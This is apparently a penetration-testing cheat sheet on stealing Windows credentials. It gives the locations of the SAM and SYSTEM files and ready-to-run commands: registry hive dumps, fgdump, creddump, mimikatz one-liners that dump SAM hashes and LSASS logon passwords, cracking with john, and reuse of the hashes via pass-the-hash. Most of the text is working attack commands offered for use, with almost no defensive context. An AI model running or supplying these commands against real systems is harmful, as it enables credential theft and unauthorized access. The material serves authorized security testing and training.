Dumping SAM file

Windows stores password hashes in the Security Account Manager (SAM).

The hashes are encrypted with a key which can be found in a file named SYSTEM.

If you have the ability to read the SAM and SYSTEM files, you can extract the hashes. A very common way of capturing hashed passwords on older Windows systems is to dump the Security Account Manager (SAM) file. The Security Account Manager is a database file in Windows XP, Windows Vista, Windows 7, 8.1 and 10 that stores user passwords. It can be used to authenticate local and remote users on the system.

SAM/SYSTEM Locations

C:\Windows\System32\config
C:\windows.old
C:\Windows\Repair 
C:\Windows\System32\config\RegBack
# Backup files , can be found 

Extracting Password hashes from SAM file

The SAM file cannot be accessed directly while Windows is running because it’s locked by the Windows operating system. However, there are several tools available for extracting the password hashes from memory such as pwdump, fgdump and, if you have a Meterpreter session on the system (or you set one up), you can also use the hashdump post-exploitation module.

fgdump.exe

/usr/share/windows/windows-binaries/fgdump/fgdump.exe

Transfer it to target and run it , and '127.0.0.pwdump' file will created in the same directory with hashes inside it

Other way to get SAM Files:

 reg save hklm\sam sam.hiv
  reg save hklm\security security.hiv
  reg save hklm\system system.hiv
  ./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam sam.hiv security.hiv system.hiv" "exit"

OR Do it via creddump

python /usr/share/creddump7/pwdump.py SYSTEM SAM

Cracking hashes with john

john --wordlist=/usr/share/john/password.lst /root/Desktop/hashes.txt

Mimikatz (Need Admin Access)

Executing mimikatz

mimikatz.exe -m

Extracting password with sekurlsa

To interact with LSASS and capture credentials from memory, Mimikatz needs:

• An administrator account to get debug privileges via privilege::debug, or;

• A SYSTEM account via post exploitation/privilege escalation. In this case the debug privilege is not necessary.

$ privilege::debug

Privilege ‘20’ OK

When the user account that is running Mimikatz does not have administrative privileges and is therefore unable to access the LSASS service, Mimikatz will throw the following error:

Error: ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

Note: If you’re running the debug command on a shell as NT AUTHORITY/SYSTEM, Mimikatz will also throw an error but it won’t prevent you from accessing LSASS with Mimikatz to dump credentials:

ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000022

lsadump::sam

sekurlsa::logonpasswords

We can use this dumped hashes with pth-winexe to gain access

Mimikatz One liner:

 ./mimikatz64.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"